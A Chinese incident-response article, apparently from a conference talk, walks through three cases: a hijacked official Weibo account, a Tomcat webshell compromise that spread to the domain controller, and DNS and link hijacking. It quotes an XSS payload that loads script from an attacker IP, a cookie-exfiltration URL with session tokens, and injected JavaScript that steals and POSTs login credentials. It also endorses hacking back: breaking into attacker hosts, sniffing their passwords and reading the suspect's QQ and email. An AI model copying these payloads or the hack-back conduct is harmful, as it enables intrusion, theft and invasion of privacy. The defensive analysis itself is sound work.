“企業(yè)應急響應和反滲透”之真實案例分析
峰會上講過的議題,整理成文章,以供大家批評指正。
對于企業(yè)應急響應,我想只要從事安全工作的同學都有接觸,我也一樣,在甲方乙方工作的這幾年,處理過不少應急響應的事件,但是每個人都會有自己做事的方法,在這里我主要分享一下我對應急響應的理解以及對碰到的一些案例。
0x00 什么時候做應急響應?
應急響應,估計最近幾年聽到這個詞更多是因為各大甲方公司開始建設(shè)和運營自己的應急響應平臺,也就是 xSRC。看起來對報告到這些地方的漏洞進行處理就已經(jīng)成為企業(yè)應急響應的主要工作,但是以我之前在甲方親自參與建設(shè)應急響應平臺和去其他企業(yè)應急響應平臺提交漏洞的經(jīng)驗來看,能真正把平臺上的漏洞當時應急響應事件去處理的寥寥無幾,更多的只是:接收->處理這種簡單重復的流水線工作。因為他們會覺得報告到這些地方的漏洞它的風險是可控的。
我理解的應急響應是對突發(fā)的未知的安全事件進行應急響應處理。這種情況一般都是“被黑”了。“被黑”包括很多種:服務(wù)器被入侵,業(yè)務(wù)出現(xiàn)蠕蟲事件,用戶以及公司員工被釣魚攻擊,業(yè)務(wù)被 DDoS 攻擊,核心業(yè)務(wù)出現(xiàn)DNS、鏈路劫持攻擊等等等等。
0x01 為什么做應急響應?
我在峰會上說是被逼的,雖然只是開個玩笑,但是也能夠反映出做應急響應是一件苦差事,有的時候要做到 7*24 小時響應,我覺得是沒人喜歡這么一件苦差事的,但是作為安全人員這是我們的職責。
那說到底我們?yōu)槭裁醋鰬表憫?,我覺得有以下幾個因素:
保障業(yè)務(wù) 還原攻擊 明確意圖 解決方案 查漏補缺 司法途徑
對于甲方的企業(yè)來說業(yè)務(wù)永遠是第一位的,沒有業(yè)務(wù)何談安全,那么我們做應急響應首先就是要保障業(yè)務(wù)能夠正常運行,其次是還原攻擊場景,攻擊者是通過什么途徑進行的攻擊,業(yè)務(wù)中存在什么樣的漏洞,他的意圖是什么?竊取數(shù)據(jù)?炫耀技術(shù)?當我們了解到前面的之后就需要提出解決方案,修復漏洞?還是加強訪問控制?增添監(jiān)控手段?等等,我們把當前的問題解決掉之后,我們還需要查漏補缺,來解決業(yè)務(wù)中同樣的漏洞?最后就是需不需要司法的介入。
0x02 怎么做應急響應?
具體怎么做應急響應,我之前根據(jù)自己做應急響應的經(jīng)驗總結(jié)幾點:
確定攻擊時間 查找攻擊線索 梳理攻擊流程 實施解決方案 定位攻擊者
確定攻擊時間能夠幫助我們縮小應急響應的范圍,有助于我們提高效率,查找攻擊線索,能夠讓我們知道攻擊者都做了什么事情,梳理攻擊流程則是還原整個攻擊場景,實施解決方案就是修復安全漏洞,切斷攻擊途徑,最后就是定位攻擊人,則是取證。
ps:定位攻擊者,我覺得羅卡定律說的挺好的:凡有接觸,必留痕跡。
0x03 為什么做反滲透?
一方面我們可以把被動的局面轉(zhuǎn)變?yōu)橹鲃拥木置妫谶@種主動的局面下我們能夠了解到攻擊者都對我們做了什么事情,做到什么程度,他下一步的目標會是什么?最關(guān)鍵的我們能夠知道攻擊者是誰。
那么具體怎么做呢?就要用攻擊者的方法反擊攻擊者。說起來簡單,做起來可能就會發(fā)現(xiàn)很難,但是我們可以借助我們自身的優(yōu)勢,通過業(yè)務(wù)數(shù)據(jù)交叉對比來對攻擊者了解更多,甚至可以在攻擊者的后門里面加上攻擊代碼等。#p#
0x04 案例之官微帳號被盜
這是第一個案例,是官方微博帳號被盜的案例。首先看下面兩張圖片:


某天我們的一個官方帳號突發(fā)連續(xù)發(fā)兩條不正常的微博內(nèi)容,看到第一條的時候還以為是工作人員小手一抖,test 到手,以為是工作人員的誤操作,但是看到第二條微博的時候就已經(jīng)能夠判斷帳號出了問題,具體是什么問題只能通過后面的分析才知道。
但是肯定的是這不是工作人員進行的操作,一方面在這種重要帳號的操作上有一些制度,其次是發(fā)布的內(nèi)容也比較明顯,根據(jù)發(fā)布的時間通過后臺系統(tǒng)分析,該帳號有通過 cookie 在非公司 IP 進行過登錄,但是我們的 cookie 是通過 httponly 進行保護的,how?
接下來鎖定那個時間段操作過官方微博帳號同事的工作電腦,在其使用的火狐瀏覽器中發(fā)現(xiàn)有下面連續(xù)的幾條訪問記錄:
- ==================================================
- URL : http://t.cn/zW*bUQ
- Last Visit Date : 2012-7-16 19:22:27
- ==================================================
- ==================================================
- URL : http://50.116.13.242/index.php
- Last Visit Date : 2012-7-16 19:22:28
- Referrer : http://t.cn/zW*bUQ
- ==================================================
- ==================================================
- URL : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
- Last Visit Date : 2012-7-16 19:22:28
- Referrer : http://50.116.13.242/index.php
- Title : player.swf (application/x-shockwave-flash 對象)
- ==================================================
- ==================================================
- URL : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20UOR%3D%2C%2C%3B%20un%3D*@sina.com%3B%20wvr%3D3.6%3B%20_s_tentry%3Dnews.sina.com.cn%3B%20Apache%3D306588567000.3021.1342421444076%3B%20SINAGLOBAL%3D306588567000.3021.1342421444076%3B%20SUS%3DSID-1618051664-1342421545-XD-z8hcn-efefbc9f4464bf215caf1d6b0da488bf%3B%20SUE%3Des%253D5937b4f4509871fc45195767ea7abe37%2526ev%253Dv1%2526es2%253Da42f0190f7b1f5137f761f625bbe0e81%2526rs0%253DpnLlydVz7IsdBcHbRCS8Tdb1KmHl7c%25252F758lHMKQRftFZBm9EDKoFVF7jexRKPF8CpY3rjGOora0pZ%25252FyDJSaDWJxRQn020MpsJxXhf5NdP2h3jfo2V%25252FoQgA0olYEWGJNQIDFZDfkndhSSXCp%25252BldHRW%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2
- Last Visit Date : 2012-7-16 19:22:31
- Referrer : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
- ==================================================
對上面的訪問記錄我想我不需要做太多的解釋。在官方微博帳號的私信里面有 http://t.cn/zW*bUQ 的私信記錄。
到這里就已經(jīng)能夠還原整個攻擊場景了
工作人員收到一條私信,并且打開了
私信鏈接是一個 xss 漏洞的鏈接
攻擊代碼利用另外一個業(yè)務(wù)的 apache httponly cookie 泄露漏洞竊取到 cookie
事后我們修復了這次攻擊中的漏洞,同時修復了業(yè)務(wù)中同類的安全漏洞,同時加強了員工安全意識,并且增加了相應的帳號安全策略。
最后我們通過后臺的 IP 和郵箱等數(shù)據(jù)定位到了攻擊者,在整個攻擊中也并沒有惡意,他也把相關(guān)的漏洞和攻擊過程提交到烏云漏洞報告平臺,大家可以去主站找找這個漏洞,我這里就不貼相關(guān)鏈接了。#p#
0x05 案例之 500 錯誤日志引發(fā)的血案
首先看下圖

一天 QA 發(fā)來郵件詢問一個比較異常的事情,某測試業(yè)務(wù)出現(xiàn)多條狀態(tài)碼為 500 的日志,QA 懷疑是有黑客攻擊,我們開始介入進行分析。
500 錯誤代表文件真實存在過并且被人訪問執(zhí)行過,但是現(xiàn)在文件已經(jīng)被刪除了,通過文件名可以判斷并非是業(yè)務(wù)需要的文件,被黑的可能性比較大,然后找來 TOMCAT 和前端 Nginx 日志查看的確被上傳了 webshell。

根據(jù)攻擊者 IP 和時間等線索通過分析 nginx 和 tomcat 的日志可以確定攻擊者是通過 tomcat 的管理后臺上傳的 webshell,并且通過 webshell 做了許多操作

但是tomcat 帳號密碼并非弱密碼,how?我們接下來對全網(wǎng)的 tomcat 進行了排查,發(fā)現(xiàn)在其中一臺內(nèi)網(wǎng)服務(wù)器存在 tomcat 弱口令,并且?guī)ぬ柵渲梦募泻泄粽呤褂玫膸ぬ柡兔艽a,只是這臺服務(wù)器較早之前下線了公網(wǎng) IP,只保留內(nèi)網(wǎng) IP,并且通過分析這臺服務(wù)器的日志,能夠判斷攻擊者之前就已經(jīng)通過弱口令拿到了服務(wù)器權(quán)限,并且收集了服務(wù)器上的用戶名和密碼等信息。
我們想看看攻擊者到底想干什么,對之前收集的攻擊者 IP 進行反滲透,用“黑客”的方法拿到香港,廊坊多臺攻擊者肉雞權(quán)限,肉雞上發(fā)現(xiàn)了大量黑客工具和掃描日志,在其中一臺肉雞上發(fā)現(xiàn)我們內(nèi)網(wǎng)仍有服務(wù)器被控制。
下面兩張圖片可以看到攻擊者通過 lcx 中轉(zhuǎn)了內(nèi)網(wǎng)的反彈 shell


那么到目前為止我們做了哪些事情呢?
清理后門
清理全網(wǎng) tomcat
梳理全網(wǎng) web 目錄文件
修改業(yè)務(wù)相關(guān)帳號密碼
修改業(yè)務(wù)關(guān)鍵代碼
加強 IDC 出口策略
部署 snort
做了好多事情?可是事實上呢?事情并沒有我們想的那么簡單。
之前的安全事件剛過不久,IT 人員反饋域控服務(wù)器異常,自動重啟,非常異常。登錄域控進行排查原因,發(fā)現(xiàn)域控被植入了 gh0st 后門。

域控被控制,那域控下面的服務(wù)器的安全性就毫無保障,繼續(xù)對辦公網(wǎng)所有的 windows 服務(wù)器排查,發(fā)現(xiàn)多臺 Windows 服務(wù)器被植入后門,攻擊的方法是通過域控管理員帳號密碼利用 at 方式添加計劃任務(wù)。
能夠知道攻擊者是如何入侵的域控服務(wù)器比較關(guān)鍵,對域控服務(wù)器的日志進行分析發(fā)現(xiàn)下面可疑的日志:
2011-11-10,14:03:47,Security,審核成功,登錄/注銷 ,540,*\*,PDC,”成功的網(wǎng)絡(luò)登錄:
用戶名: *.ad
域: *
登錄 ID: (0x0,0x1114E11)
登錄類型: 3
登錄過程: NtLmSsp
身份驗證數(shù)據(jù)包: NTLM
工作站名: CC-TEST-V2
登錄 GUID: -
調(diào)用方用戶名: -
調(diào)用方域: -
調(diào)用方登錄 ID: -
調(diào)用方進程 ID: -
傳遞服務(wù): -
源網(wǎng)絡(luò)地址: 192.168.100.81
源端口: 02011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試 登錄的用戶: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶: QM-*$
源工作站: CC-TEST-V2
錯誤代碼: 0xC000006A
"
2011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試 登錄的用戶: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶: QM-*$
源工作站: CC-TEST-V2
錯誤代碼: 0xC000006A
結(jié)合之前的信息能夠鎖定 192.168.100.81 是攻擊源,遂對這臺服務(wù)器進行確認,結(jié)果有點令人吃驚:
這是一臺虛擬機,運行在一臺普通的 PC 機上,這臺 PC 機就放在業(yè)務(wù)部門同事的腳底下,這臺虛擬機本身啟用了 3389,存在弱口令,我們之前在對內(nèi)網(wǎng)安全檢查時,這臺虛擬機處于關(guān)機狀態(tài)。由于這臺虛擬機上面跑的有測試業(yè)務(wù),域控管理員曾經(jīng)登錄過。
綜合我們之前得到的信息可以確定這臺虛擬機是攻擊者入侵我們辦公網(wǎng)的第一臺服務(wù)器,通過把這個虛擬機作為跳板攻擊辦公網(wǎng)其他服務(wù)器,至于這臺虛擬機是如何被入侵的,我們后面也確定是因為上次的攻擊事件,攻擊者通過 IDC 進入到的辦公網(wǎng)。
我們又做了什么?
排查所有 windows 服務(wù)器
對之前確定被入侵的服務(wù)器重裝,包括域控
snort 上加了 gh0st 的特征
snort 加上 gh0st 的特征后不久我們就發(fā)現(xiàn)我們辦公網(wǎng)還有服務(wù)器被控制

對這臺服務(wù)器進行清理后,我們?nèi)匀粵]有放棄對攻擊者的反滲透,這次我們發(fā)現(xiàn)攻擊者還有美國的 IP,對其滲透,最終通過 c 斷進行 cain 嗅探到 3389 的密碼。
登錄到這臺美國 IP 的服務(wù)器后,發(fā)現(xiàn)上面運行著 gh0st 的控制端,我們內(nèi)網(wǎng)仍然有一臺服務(wù)器處于上線狀態(tài)。

其實到這里這次事件就能告一段落了,關(guān)于攻擊者我們在這臺美國的服務(wù)器上發(fā)現(xiàn)了攻擊者的多個 QQ 和密碼,登錄郵箱后找到了攻擊者的簡歷等私人信息,還有就是我們之前也獲取到攻擊者在國內(nèi)某安全論壇帳號。其實到這里我們能夠確定攻擊者是誰了。


0x06 案例之永無止境的劫持
對于劫持我想大家都不陌生,我們在生活中比較常見到的就是運營商在頁面中插入廣告等代碼,這種就是一種劫持攻擊。
回到案例本身,我們的一個業(yè)務(wù)先后出現(xiàn)多次多種手段的劫持攻擊,一次是 dns 劫持,把業(yè)務(wù)的域名劫持到 61.* 這個 ip 上,另外一次是鏈路劫持,替換服務(wù)器返回給用戶的 http 響應內(nèi)容,這兩次的目的都一樣就是在登錄口添加 js 代碼,用于竊取用戶的用戶名和明文密碼。我們另外一個業(yè)務(wù)也遭受鏈路劫持,直接替換客戶投放的廣告代碼,給業(yè)務(wù)造成很大的經(jīng)濟損失。
下面兩個圖是我們業(yè)務(wù)監(jiān)控系統(tǒng)和基調(diào)的截圖,上面的圖可以很明顯看到在 9:30 用戶登錄成功數(shù)明顯下降,持續(xù)不到一個小時,下圖是全國部分地區(qū)基調(diào)的數(shù)據(jù),可以看到域名被明顯劫持到 61 這個 ip,這是一次典型的 DNS 攻擊。


頁面中被插入的攻擊核心代碼
- //獲取用戶名和密碼
- function ffCheck() {
- try {
- try {
- var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
- } catch (e) {
- var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
- }
- var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
- if (u.indexOf("@") == -1) u += "@xxx.com";
- try {
- if (u.indexOf("@") == -1) uu = u + getdomain();
- } catch (e) {}
- sendurl("/abc", u, p, "coremail");
- } catch (e) {}
- return fOnSubmit();
- }
- 通過 ajax 發(fā)送出去
- function sendurl(uri, u, p, i) {
- xmlHttp = GetXmlHttpObject();
- if (xmlHttp == null) {
- return;
- }
- param = "user=" + u + "&pass=" + p + "&icp=" + i;
- xmlHttp.onreadystatechange = stateChanged;
- try {
- xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
- } catch (e) {}
- xmlHttp.setRequestHeader("If-Modified-Since", "0");
- xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xmlHttp.send(param);
- }
接下來看下面兩張圖片


這是一次典型的鏈路劫持攻擊,通過 ttl 就能夠判斷,攻擊的結(jié)果和前面提到的 dns 劫持攻擊類似,插入惡意 js 代碼來獲取用戶的用戶名和密碼。
對于劫持攻擊的處理過程,首先是判斷是什么攻擊,對于鏈路劫持目前的鏈路劫持好像大部分都是旁路的攻擊方式,就可以通過 ttl 來定位,默認的 ttl 值很好判斷,如果可以修改的 ttl 值,可以通過遞增或者遞減 ttl 的方式來判斷,dns 劫持就是判斷攻擊方式是什么,哪些 dns 受影響,劫持的 ip 是什么運營商,劫持后做了什么事情。
其次是解決攻擊,一般根據(jù)劫持的情況去聯(lián)系運營商,聯(lián)系有關(guān)部門等,但是然并卵,有的功能投訴很有效,比如劫持廣告代碼,有的攻擊則沒有任何作用,比如注入 js 代碼獲取用戶名和密碼。
其實我們能做的畢竟有限,完善監(jiān)控,當劫持發(fā)生的時候能夠第一時間獲知,甚至提醒用戶當前環(huán)境有劫持的風險,對部分業(yè)務(wù)使用 https,但是我覺得都不能根治這些問題。怎么才能解決劫持問題,我沒有好的解決方案,在這里我把這類案例分享出來是希望能夠和各位進一步探討。
0x07 總結(jié)
總結(jié)這里我就不打算寫太多,我覺得有幾個大的方向作為指導:
從業(yè)務(wù)角度,保障業(yè)務(wù)肯定是應急響應的前提;
從對抗角度,知己知彼百戰(zhàn)不殆;
從技術(shù)角度,只有更多的了解攻擊才能更好的做到防御;